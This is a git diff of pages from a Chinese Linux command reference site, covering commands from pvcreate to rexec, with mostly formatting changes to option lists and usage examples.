     Scanning /dev/sdb1  
     Found label on /dev/sdb1, sector 1, type=LVM2 001  
     Found text metadata area: offset=4096, size=192512 
    @@ -146,7 +146,7 @@ Found text metadata area: offset=4096, size=192512
     Found LVM2 metadata record at offset=125952,  
     size=70656, offset2=0 size2=0
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pvcreate.html b/c/pvcreate.html index 1d33664424..2f7edde9ff 100644 --- a/c/pvcreate.html +++ b/c/pvcreate.html @@ -9,7 +9,7 @@ pvcreate 命令,Linux pvcreate 命令详解:将物理硬盘分区初始化为物理卷 - Linux 命令搜索引擎 - + @@ -240,7 +240,7 @@ Labels on physical volume "/dev/sdb2" successfully wiped Physical volume "/dev/sdb1" changed 1 physical volume changed / 0 physical volumes not changed " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pvdisplay.html b/c/pvdisplay.html index da07b4a605..a9492e8776 100644 --- a/c/pvdisplay.html +++ b/c/pvdisplay.html @@ -9,7 +9,7 @@ pvdisplay 命令,Linux pvdisplay 命令详解:显示物理卷的属性 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ PV Name /dev/sdb1 ....省略部分输出内容...... PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pvremove.html b/c/pvremove.html index 2e9ac5b64f..35d5173c7b 100644 --- a/c/pvremove.html +++ b/c/pvremove.html @@ -9,7 +9,7 @@ pvremove 命令,Linux pvremove 命令详解:删除一个存在的物理卷 - Linux 命令搜索引擎 - + @@ -122,9 +122,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -d # 调试模式;
    --f # 强制删除;
    --y # 对提问回答“yes”。
    +
    -d # 调试模式;
    +-f # 强制删除;
    +-y # 对提问回答“yes”。
     
    - - + + \ No newline at end of file diff --git a/c/pvs.html b/c/pvs.html index c853a19e13..869db1ad6c 100644 --- a/c/pvs.html +++ b/c/pvs.html @@ -9,7 +9,7 @@ pvs 命令,Linux pvs 命令详解:输出物理卷信息报表 - Linux 命令搜索引擎 - + @@ -142,7 +142,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/pvscan.html b/c/pvscan.html index 97ccaa2246..5df911b9b3 100644 --- a/c/pvscan.html +++ b/c/pvscan.html @@ -9,7 +9,7 @@ pvscan 命令,Linux pvscan 命令详解:扫描系统中所有硬盘的物理卷列表 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ Total: 2 [203.92 MB] / in use: 0 [0 ] / in no VG: 2 [203.92 MB] " class="copied">

    说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。

    - - + + \ No newline at end of file diff --git a/c/pwck.html b/c/pwck.html index 626c3b1a4c..12b5e3d75e 100644 --- a/c/pwck.html +++ b/c/pwck.html @@ -9,7 +9,7 @@ pwck 命令,Linux pwck 命令详解:用来验证系统认证文件内容和格式的完整性 - Linux 命令搜索引擎 - + @@ -172,7 +172,7 @@ user 'saned': directory '/home/saned' does not exist user 'hplip': directory '/var/run/hplip' does not exist pwck:无改变 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/pwconv.html b/c/pwconv.html index 5a095a434e..5bafb33237 100644 --- a/c/pwconv.html +++ b/c/pwconv.html @@ -9,7 +9,7 @@ pwconv 命令,Linux pwconv 命令详解:用来开启用户的投影密码 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ test:x:3001:3001::/home/test:/bin/sh
    - - + + \ No newline at end of file diff --git a/c/pwd.html b/c/pwd.html index 2edf71dba3..2108e315ad 100644 --- a/c/pwd.html +++ b/c/pwd.html @@ -9,7 +9,7 @@ pwd 命令,Linux pwd 命令详解:显示当前工作目录的绝对路径。 - Linux 命令搜索引擎 - + @@ -123,8 +123,8 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -L (默认值)打印环境变量"$PWD"的值,可能为符号链接。
    --P 打印当前工作目录的物理位置。
    +
    -L (默认值)打印环境变量"$PWD"的值,可能为符号链接。
    +-P 打印当前工作目录的物理位置。
     
    @@ -144,10 +144,10 @@ customElements.define('markdown-style', MarkdownStyle);显示当前工作目录。

    选项

    -
    -L, --logical 打印环境变量"$PWD"的值,可能为符号链接。
    --P, --physical (默认值)打印当前工作目录的物理位置。
    ---help 显示帮助信息并退出。
    ---version 显示版本信息并退出。
    +
    -L, --logical 打印环境变量"$PWD"的值,可能为符号链接。
    +-P, --physical (默认值)打印当前工作目录的物理位置。
    +--help 显示帮助信息并退出。
    +--version 显示版本信息并退出。
     
    - - + + \ No newline at end of file diff --git a/c/pwunconv.html b/c/pwunconv.html index b91fcb5db0..d15b4fa946 100644 --- a/c/pwunconv.html +++ b/c/pwunconv.html @@ -9,7 +9,7 @@ pwunconv 命令,Linux pwunconv 命令详解:用来关闭用户的投影密码 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdf ls /etc/shadow # 查看影子文件,提示没有这个文件或目录 ls: cannot access /etc/shadow: No such file or directory " class="copied">
    - - + + \ No newline at end of file diff --git a/c/quota.html b/c/quota.html index 413c64c948..acf8e3f409 100644 --- a/c/quota.html +++ b/c/quota.html @@ -9,7 +9,7 @@ quota 命令,Linux quota 命令详解:显示磁盘已使用的空间与限制 - Linux 命令搜索引擎 - + @@ -280,7 +280,7 @@ Disk quotas for group qgroup (gid 502): Filesystem blocks quota limit grace files quota limit grace /dev/hdb1 0 80000 90000 0 0 0 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/quotacheck.html b/c/quotacheck.html index 33174ac3e6..b2de970976 100644 --- a/c/quotacheck.html +++ b/c/quotacheck.html @@ -9,7 +9,7 @@ quotacheck 命令,Linux quotacheck 命令详解:检查磁盘的使用空间与限制 - Linux 命令搜索引擎 - + @@ -161,7 +161,7 @@ quotacheck: Checked 3 directories and 4 files
    [root@linux ~]# quotacheck -cvug /disk2
     
    - - + + \ No newline at end of file diff --git a/c/quotaoff.html b/c/quotaoff.html index af0cae65dc..4c4c49923a 100644 --- a/c/quotaoff.html +++ b/c/quotaoff.html @@ -9,7 +9,7 @@ quotaoff 命令,Linux quotaoff 命令详解:关闭Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件系统:指定要关闭磁盘配额功能的文件系统。

    - - + + \ No newline at end of file diff --git a/c/quotaon.html b/c/quotaon.html index deaa41c892..e873814f55 100644 --- a/c/quotaon.html +++ b/c/quotaon.html @@ -9,7 +9,7 @@ quotaon 命令,Linux quotaon 命令详解:激活Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件系统:指定要激活磁盘配额功能的文件系统。

    - - + + \ No newline at end of file diff --git a/c/rcconf.html b/c/rcconf.html index fe0e0d06d5..e2515046df 100644 --- a/c/rcconf.html +++ b/c/rcconf.html @@ -9,7 +9,7 @@ rcconf 命令,Linux rcconf 命令详解:Debian Linux下的运行等级服务配置工具 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/rcp.html b/c/rcp.html index 7a9ffafc5c..44d1d6ea37 100644 --- a/c/rcp.html +++ b/c/rcp.html @@ -9,7 +9,7 @@ rcp 命令,Linux rcp 命令详解:使在两台Linux主机之间的文件复制操作更简单 - Linux 命令搜索引擎 - + @@ -169,12 +169,12 @@ customElements.define('markdown-style', MarkdownStyle);

    将目录复制到远程系统:

    要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。

    -
    rcp -r local_dir remote_hostname:remote_dir Enter
    +
    rcp -r local_dir remote_hostname:remote_dir Enter
     

    如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。

    要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:

    -
    rcp -r work webserver1:/home/root/products Enter
    +
    rcp -r work webserver1:/home/root/products Enter
     

    此命令在webserver1:/home/root/products下创建名为 work 的目录及其全部内容(假定/home/root/products已存在于 webserver1中)。

    @@ -189,7 +189,7 @@ customElements.define('markdown-style', MarkdownStyle);

    .表示当前目录。将在此目录下创建 work 目录。

    - - + + \ No newline at end of file diff --git a/c/read.html b/c/read.html index c7350c53ef..f7cbfeafde 100644 --- a/c/read.html +++ b/c/read.html @@ -9,7 +9,7 @@ read 命令,Linux read 命令详解:从键盘读取变量值 - Linux 命令搜索引擎 - + @@ -146,32 +146,32 @@ customElements.define('markdown-style', MarkdownStyle);
    -
    read -a arrayname
    +
    read -a arrayname
     把单词清单读入arrayname的数组里。
     
    -
    read -p "text"
    +
    read -p "text"
     打印提示(text),等待输入,并将输入存储在REPLY中。
     
    -
    read -r line
    +
    read -r line
     允许输入包含反斜杠。
     
    -
    read -t 3
    +
    read -t 3
     指定读取等待时间为3秒。
     
    -
    read -n 2 var
    +
    read -n 2 var
     从输入中读取两个字符并存入变量var,不需要按回车读取。
     
    -
    read -d ":" var
    +
    read -d ":" var
     用定界符“:”结束输入行。
     
    #!/bin/bash -read -p "输入密码:" -s pwd +read -p "输入密码:" -s pwd echo echo password read, is "$pwd"

    方法2:

    #!/bin/bash
    -stty -echo
    -read -p "输入密码:" pwd
    +stty -echo
    +read -p "输入密码:" pwd
     stty echo
     echo
     echo 输入完毕。
    @@ -282,7 +282,7 @@ echo 输入完毕。
     

    注意:使用echo命令输出变量值时,必须在变量名前添加符号$。否则,echo将直接输出变量名。

    - - + + \ No newline at end of file diff --git a/c/readelf.html b/c/readelf.html index 66c0093b4d..3587c56929 100644 --- a/c/readelf.html +++ b/c/readelf.html @@ -9,7 +9,7 @@ readelf 命令,Linux readelf 命令详解:用于显示elf格式文件的信息 - Linux 命令搜索引擎 - + @@ -142,71 +142,71 @@ customElements.define('markdown-style', MarkdownStyle);链接相关:节头表相关信息。 

    选项

    -
    -a 
    ---all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. 
    +
    -a 
    +--all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. 
     
    --h 
    +-h 
     --file-header 显示elf文件开始的文件头信息. 
     
    --l 
    +-l 
     --program-headers  
    ---segments 显示程序头(段头)信息(如果有的话)。 
    +--segments 显示程序头(段头)信息(如果有的话)
    --S 
    +-S 
     --section-headers  
    ---sections 显示节头信息(如果有的话)。 
    +--sections 显示节头信息(如果有的话)
    --g 
    +-g 
     --section-groups 显示节组信息(如果有的话)
    --t 
    +-t 
     --section-details 显示节的详细信息(-S的)
    --s 
    ---syms        
    ---symbols 显示符号表段中的项(如果有的话)。 
    +-s 
    +--syms        
    +--symbols 显示符号表段中的项(如果有的话)。 
     
    --e 
    ---headers 显示全部头信息,等价于: -h -l -S 
    +-e 
    +--headers 显示全部头信息,等价于: -h -l -S 
     
    --n 
    ---notes 显示note段(内核注释)的信息。 
    +-n 
    +--notes 显示note段(内核注释)的信息。 
     
    --r 
    ---relocs 显示可重定位段的信息。 
    +-r 
    +--relocs 显示可重定位段的信息。 
     
    --u 
    ---unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 
    +-u 
    +--unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 
     
    --d 
    ---dynamic 显示动态段的信息。 
    +-d 
    +--dynamic 显示动态段的信息。 
     
    --V 
    +-V 
     --version-info 显示版本段的信息。 
     
    --A 
    +-A 
     --arch-specific 显示CPU构架信息。 
     
    --D 
    +-D 
     --use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。 
     
    --x <number or name> 
    +-x <number or name> 
     --hex-dump=<number or name> 以16进制方式显示指定段内内容。number指定段表中段的索引,或字符串指定文件中的段名。 
     
     -w[liaprmfFsoR] or 
     --debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。 
     
    --I 
    ---histogram 显示符号的时候,显示bucket list长度的柱状图。 
    +-I 
    +--histogram 显示符号的时候,显示bucket list长度的柱状图。 
     
    --v 
    ---version 显示readelf的版本信息。 
    +-v 
    +--version 显示readelf的版本信息。 
     
    --H 
    ---help 显示readelf所支持的命令行选项。 
    +-H 
    +--help 显示readelf所支持的命令行选项。 
     
    --W 
    ---wide 宽行输出。 
    +-W 
    +--wide 宽行输出。 
     
     @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 
     

    2)编译如下: 

    -
    [root@localhost test]$ g++ main.cpp -o main 
    -[root@localhost test]$ g++ -g main.cpp -o main.debug 
    +
    [root@localhost test]$ g++ main.cpp -o main 
    +[root@localhost test]$ g++ -g main.cpp -o main.debug 
     

    3)编译之后,查看生成的文件: 

    -
    [root@localhost test]$ ls -l 
    +
    [root@localhost test]$ ls -l 
     总计 64 
     -rwxr-xr-x 1 quietheart quietheart  6700 07-07 18:04 main 
     -rw-r--r-- 1 quietheart quietheart   201 07-07 18:02 main.cpp 
    @@ -369,9 +369,9 @@ void printInfo()
     } 
     " class="copied">

    2)编译如下: 

    -
    [root@localhost test]$ g++ -c myfile.cpp 
    -[root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o 
    -[root@localhost test]$ ar -r libmy.a myfile.o 
    +
    [root@localhost test]$ g++ -c myfile.cpp 
    +[root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o 
    +[root@localhost test]$ ar -r libmy.a myfile.o 
     ar: creating libmy.a 
     
    [root@localhost test]$ readelf -h main +
    [root@localhost test]$ readelf -h main 
     ELF Header: 
       Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
       Class:                             ELF32 
    @@ -442,7 +442,7 @@ ELF Header:
     " class="copied">

    这里,可见可执行文件的elf文件,其类型为EXEC(可执行文件)。另外,含调试信息的"main.debug"和不含调试信息的"main"除了一些大小信息之外,其内容是一样的。并且由此可见文件的体系结构为Intel 80386。 

    读取目标文件形式的elf文件头信息:

    -
    [root@localhost test]$ readelf -h myfile.o 
    +
    [root@localhost test]$ readelf -h myfile.o 
     ELF Header: 
       Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
       Class:                             ELF32 
    @@ -487,7 +487,7 @@ ELF Header:
     " class="copied">

    这里,可见目标文件的elf文件,其类型为REL(可重定位文件)。 

    读取静态库文件形式的elf文件头信息:

    -
    [root@localhost test]$ readelf -h libmy.a 
    +
    [root@localhost test]$ readelf -h libmy.a 
     File: libmy.a(myfile.o) 
     ELF Header: 
       Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
    @@ -534,7 +534,7 @@ ELF Header:
     " class="copied">

    这里,可见静态库文件的elf文件,其类型为REL(可重定位文件)。 

    读取动态库文件形式的elf文件头信息:

    -
    [root@localhost test]$ readelf -h libmy.so 
    +
    [root@localhost test]$ readelf -h libmy.so 
     ELF Header: 
       Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
       Class:                             ELF32 
    @@ -579,7 +579,7 @@ ELF Header:
     " class="copied">

    这里,可见动态库文件的elf文件,其类型为DYN(共享目标文件)。 

    查看可执行的elf文件程序头表信息:

    -
    [root@localhost test]$ readelf -l main 
    +
    [root@localhost test]$ readelf -l main 
     Elf file type is EXEC (Executable file) 
     Entry point 0x8048580 
     There are 8 program headers, starting at offset 52 
    @@ -636,14 +636,14 @@ Section to Segment mapping:
     " class="copied">

    这里,含调试信息的"main.debug"和不含调试信息的"main"其内容是一样的。 

    **查看目标文件的elf文件程序头表信息: **

    -
    [root@localhost test]$ readelf -l myfile.o 
    +
    [root@localhost test]$ readelf -l myfile.o 
     There are no program headers in this file. 
     

    这里可知,可重定位的目标文件,它没程序头表。 

    查看静态库文件的elf文件程序头表信息:

    -
    [root@localhost test]$ readelf -l libmy.a 
    +
    [root@localhost test]$ readelf -l libmy.a 
     File: libmy.a(myfile.o) 
     There are no program headers in this file. 
     

    这里可知,可重定位的静态库文件,它没程序头表。 

    查看动态库文件的elf文件程序头表信息:

    -
    [root@localhost test]$ readelf -l libmy.so 
    +
    [root@localhost test]$ readelf -l libmy.so 
     Elf file type is DYN (Shared object file) 
     Entry point 0x550 
     There are 5 program headers, starting at offset 52 
    @@ -695,7 +695,7 @@ Section to Segment mapping:
     " class="copied">

    这里可知,做为共享目标文件的动态库,它程序头表。 

    查看一个可执行的elf文件的节信息:

    -
    [root@localhost test]$ readelf -S main 
    +
    [root@localhost test]$ readelf -S main 
     There are 29 section headers, starting at offset 0xca0: 
     Section Headers: 
       [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
    @@ -772,7 +772,7 @@ Key to Flags:
     " class="copied">

    这里,main是可执行文件,不含调试信息。 

    查看一个包含调试信息的可执行的elf文件的节信息:

    -
    [root@localhost test]$ readelf -S main.debug 
    +
    [root@localhost test]$ readelf -S main.debug 
     There are 37 section headers, starting at offset 0x88c8: 
     
     Section Headers: 
    @@ -867,7 +867,7 @@ Key to Flags:
     " class="copied">

    可见,相对非调试版本的可执行文件,多了".debug*"段的信息。 

    查看一个目标文件的elf文件的节信息:

    -
    [root@localhost test]$ readelf -S myfile.o 
    +
    [root@localhost test]$ readelf -S myfile.o 
     There are 15 section headers, starting at offset 0x204: 
     
     Section Headers: 
    @@ -898,7 +898,7 @@ Key to Flags:
      **查看一个静态库文件的elf文件的节信息:** 
     
     ```shell
    -[root@localhost test]$ readelf -S libmy.a 
    +[root@localhost test]$ readelf -S libmy.a 
     File: libmy.a(myfile.o) 
     There are 15 section headers, starting at offset 0x204: 
     
    @@ -981,7 +981,7 @@ Key to Flags:
       O (extra OS processing required) o (OS specific), p (processor specific) 
     " class="copied">

    查看一个动态库文件的elf文件的节信息:

    -
    [root@localhost test]$ readelf -S libmy.so 
    +
    [root@localhost test]$ readelf -S libmy.so 
     There are 27 section headers, starting at offset 0xad0: 
     
     Section Headers: 
    @@ -1054,7 +1054,7 @@ Key to Flags:
       I (info), L (link order), G (group), x (unknown) 
       O (extra OS processing required) o (OS specific), p (processor specific) 
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/readonly.html b/c/readonly.html index 77cd08bf45..1b6b5228c4 100644 --- a/c/readonly.html +++ b/c/readonly.html @@ -9,7 +9,7 @@ readonly 命令,Linux readonly 命令详解:标记shell变量或函数为只读 - Linux 命令搜索引擎 - + @@ -117,7 +117,7 @@ customElements.define('markdown-style', MarkdownStyle);标记shell变量或函数为只读

    语法

    readonly [-aAf] [name[=value] ...]
    -readonly -p
    +readonly -p
     
    @@ -152,9 +152,9 @@ value(可选):变量的值

    例子

    # 定义变量并增加只读属性
     readonly var1=13 var2
    -readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c')
    +readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c')
     # 必须有 '-A' 选项
    -readonly -A dict1=(['key1']='value1')
    +readonly -A dict1=(['key1']='value1')
     
    # 为数组添加只读属性时可以不加 `-a` 选项 readonly seasons -declare -A man=(['age']=23 ['height']='190cm') +declare -A man=(['age']=23 ['height']='190cm') # 为关联数组添加只读属性时可以不加 `-A` 选项 readonly man function foo(){ echo 'bar'; } # 为函数添加只读属性时必须加 `-f` 选项 -readonly -f foo +readonly -f foo
    # 显示全部只读变量,以下两个命令的显示结果一样
     readonly
    -readonly -p
    +readonly -p
     # 显示全部拥有只读属性的数组
    -readonly -a
    +readonly -a
     # 显示全部拥有只读属性的关联数组
    -readonly -A
    +readonly -A
     # 显示全部拥有只读属性的函数
    -readonly -f
    +readonly -f
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -301,7 +301,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/reboot.html b/c/reboot.html index 4462ec2476..34d996e166 100644 --- a/c/reboot.html +++ b/c/reboot.html @@ -9,7 +9,7 @@ reboot 命令,Linux reboot 命令详解:重新启动正在运行的Linux操作系统 - Linux 命令搜索引擎 - + @@ -135,11 +135,11 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    reboot        //重开机。
    -reboot -w     //做个重开机的模拟(只有纪录并不会真的重开机)。
    +reboot -w     //做个重开机的模拟(只有纪录并不会真的重开机)。
     
    - - + + \ No newline at end of file diff --git a/c/reject.html b/c/reject.html index 470991f283..5eda636e77 100644 --- a/c/reject.html +++ b/c/reject.html @@ -9,7 +9,7 @@ reject 命令,Linux reject 命令详解:指示打印系统拒绝发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    目标:指定目标打印机。

    - - + + \ No newline at end of file diff --git a/c/rename.html b/c/rename.html index 321840b89c..11de7134ce 100644 --- a/c/rename.html +++ b/c/rename.html @@ -9,7 +9,7 @@ rename 命令,Linux rename 命令详解:用字符串替换的方式批量改变文件名 - Linux 命令搜索引擎 - + @@ -147,11 +147,11 @@ $ 匹配输入的结尾

    区分方法: rename --version

    如果返回结果中包含 util-linux , 说明是C语言版本, 反之是Perl版本

    # Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本
    -$ rename --version
    +$ rename --version
     /usr/bin/rename using File::Rename version 1.10
     
     # C语言版本 | Centos(7)默认的是C语言版本
    -$ rename --version
    +$ rename --version
     rename,来自 util-linux 2.23.2
     

    语法

    # Perl版本
    -rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ]
    +rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ]
     
     # C语言版本
     rename [选项] 表达式 替换的字符 文件...
    @@ -175,51 +175,51 @@ rename [选项] 表达式 替换的字符 文件...
     " class="copied">

    参数

    # Perl版本
    --v, --verbose
    +-v, --verbose
             详细:成功重命名的文件的打印名称。
     
    --0, --null
    +-0, --null
             从STDIN读取时,请使用\0作为记录分隔符
     
    --n, --nono
    +-n, --nono
             不执行任何操作:打印要重命名的文件名,但不重命名。
     
    --f, --force
    +-f, --force
             覆盖:允许覆盖现有文件
     
    ---path, --fullpath
    +--path, --fullpath
             重命名完整路径:包括任何目录组件。默认
     
    --d, --filename, --nopath, --nofullpath
    +-d, --filename, --nopath, --nofullpath
             不重命名目录:仅重命名路径的文件名部分
     
    --h, --help
    +-h, --help
             帮助:打印提要和选项。
     
    --m, --man
    +-m, --man
             手册: 打印手册页.
     
    --V, --version
    +-V, --version
             版本: 显示版本号.
     
    --e      表达: 作用于文件名的代码.
    +-e      表达: 作用于文件名的代码.
     
             可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。
     
    --E      语句:对文件名执行操作的代码,如-e,但终止于 ';'.
    +-E      语句:对文件名执行操作的代码,如-e,但终止于 ';'.
     
     
     # C语言版本
    --v, --verbose
    +-v, --verbose
             提供视觉反馈,其中重命名了哪些文件(如果有的话)
     
    --V, --version
    +-V, --version
             显示版本信息并退出。
     
    --s, --symlink
    +-s, --symlink
             在符号链接目标上执行重命名
     
    --h, --help
    +-h, --help
             显示帮助文本并退出
     
    Perl版本

    将1.txt 2.txt重命名为1.log 2.log

    -
    $ rename -v "s/txt/log/g" 1.txt 2.txt
    +
    $ rename -v "s/txt/log/g" 1.txt 2.txt
     1.txt renamed as 1.log
     2.txt renamed as 2.log
     
    C语言版本

    将1.txt 2.txt重命名为1.log 2.log

    -
    $ rename -v txt log 1.txt 2.txt
    +
    $ rename -v txt log 1.txt 2.txt
     `1.txt' -> `1.log'
     `2.txt' -> `2.log'
     
    - - + + \ No newline at end of file diff --git a/c/renice.html b/c/renice.html index 11119d245e..e7ef7aae84 100644 --- a/c/renice.html +++ b/c/renice.html @@ -9,7 +9,7 @@ renice 命令,Linux renice 命令详解:修改正在运行的进程的调度优先级 - Linux 命令搜索引擎 - + @@ -133,11 +133,11 @@ customElements.define('markdown-style', MarkdownStyle);进程号:指定要修改优先级的进程。

    实例

    将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1:

    -
    renice 1 987 -u daemon root -p 32
    +
    renice 1 987 -u daemon root -p 32
     

    注意:每一个行程都有一个唯一的id。

    - - + + \ No newline at end of file diff --git a/c/repquota.html b/c/repquota.html index e25e0cc91f..3e1a921cbc 100644 --- a/c/repquota.html +++ b/c/repquota.html @@ -9,7 +9,7 @@ repquota 命令,Linux repquota 命令详解:报表的格式输出磁盘空间限制的状态 - Linux 命令搜索引擎 - + @@ -135,10 +135,10 @@ customElements.define('markdown-style', MarkdownStyle);文件系统:要打印报表的文件系统或者对应的设备文件名。

    实例

    显示所有文件系统的磁盘使用情况

    -
    repquota -a
    +
    repquota -a
     
    - - + + \ No newline at end of file diff --git a/c/resize.html b/c/resize.html index b4fadf767e..2a06818550 100644 --- a/c/resize.html +++ b/c/resize.html @@ -9,7 +9,7 @@ resize 命令,Linux resize 命令详解:命令设置终端机视窗的大小 - Linux 命令搜索引擎 - + @@ -122,9 +122,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
    --s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。
    --u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
    +
    -c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
    +-s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。
    +-u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
     
    [root@localhost ~]# resize -s 80 160
    - - + + \ No newline at end of file diff --git a/c/restore.html b/c/restore.html index bbc848e858..96c9127b1e 100644 --- a/c/restore.html +++ b/c/restore.html @@ -9,7 +9,7 @@ restore 命令,Linux restore 命令详解:所进行的操作和dump指令相反 - Linux 命令搜索引擎 - + @@ -154,7 +154,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    dump -9 -u -f /dev/hda3 /home/frank/
    +
    dump -9 -u -f /dev/hda3 /home/frank/
     

    用restore命令来恢复备份:

    @@ -165,7 +165,7 @@ customElements.define('markdown-style', MarkdownStyle);restore ft /dev/hda3
    - - + + \ No newline at end of file diff --git a/c/restorecon.html b/c/restorecon.html index 6513dae1c4..e4c1b771fc 100644 --- a/c/restorecon.html +++ b/c/restorecon.html @@ -9,7 +9,7 @@ restorecon 命令,Linux restorecon 命令详解:恢复文件的安全上下文 - Linux 命令搜索引擎 - + @@ -203,7 +203,7 @@ type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 com
    [root@jsdig.com html]# restorecon -R /var/www/html/
     
    - - + + \ No newline at end of file diff --git a/c/return.html b/c/return.html index 6670ab79d2..d0844c93c1 100644 --- a/c/return.html +++ b/c/return.html @@ -9,7 +9,7 @@ return 命令,Linux return 命令详解:从函数中退出并返回数值。 - Linux 命令搜索引擎 - + @@ -152,7 +152,7 @@ echo $?
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/rev.html b/c/rev.html index d747f664f5..b214475a58 100644 --- a/c/rev.html +++ b/c/rev.html @@ -9,7 +9,7 @@ rev 命令,Linux rev 命令详解:将文件内容以字符为单位反序输出 - Linux 命令搜索引擎 - + @@ -130,12 +130,12 @@ customElements.define('markdown-style', MarkdownStyle);:INPUT DROP [48113:2690676] :FORWARD accept [0:0] :OUTPUT ACCEPT [3381959:1818595115] --A INPUT -i lo -j ACCEPT --A INPUT -p tcp -m tcp --dport 22 -j ACCEPT --A INPUT -p tcp -m tcp --dport 80 -j ACCEPT --A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT --A INPUT -p icmp -j ACCEPT --A OUTPUT -o lo -j ACCEPT +-A INPUT -i lo -j ACCEPT +-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT +-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +-A INPUT -p icmp -j ACCEPT +-A OUTPUT -o lo -j ACCEPT COMMIT # Completed on Thu Dec 26 21:25:15 2013 @@ -183,7 +183,7 @@ retlif* TIMMOC 3102 51:52:12 62 ceD uhT no detelpmoC # " class="copied">
    - - + + \ No newline at end of file diff --git a/c/rexec.html b/c/rexec.html index 49fe15d3b2..41be3befbe 100644 --- a/c/rexec.html +++ b/c/rexec.html @@ -9,7 +9,7 @@ rexec 命令,Linux rexec 命令详解:远程执行Linux系统下命令 - Linux 命令搜索引擎 - + @@ -144,17 +144,17 @@ customElements.define('markdown-style', MarkdownStyle);

    date命令的输出现在显示在本地系统上。本示例中,在本地主机上的$HOME/.netrc文件包含远程主机上有效的用户名和密码。如果没有远程主机的$HOME/.netrc文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。

    要重设自动登录功能并执行远程主机上的date命令,输入:

    -
    rexec -nhost1 date
    +
    rexec -nhost1 date
     

    出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。

    列出远程主机上另一个用户的目录,输入:

    -
    rexec host1 ls -l /home/karen
    +
    rexec host1 ls -l /home/karen
     

    在远程主机host1上的karen 用户的目录列表显示在本地系统上。

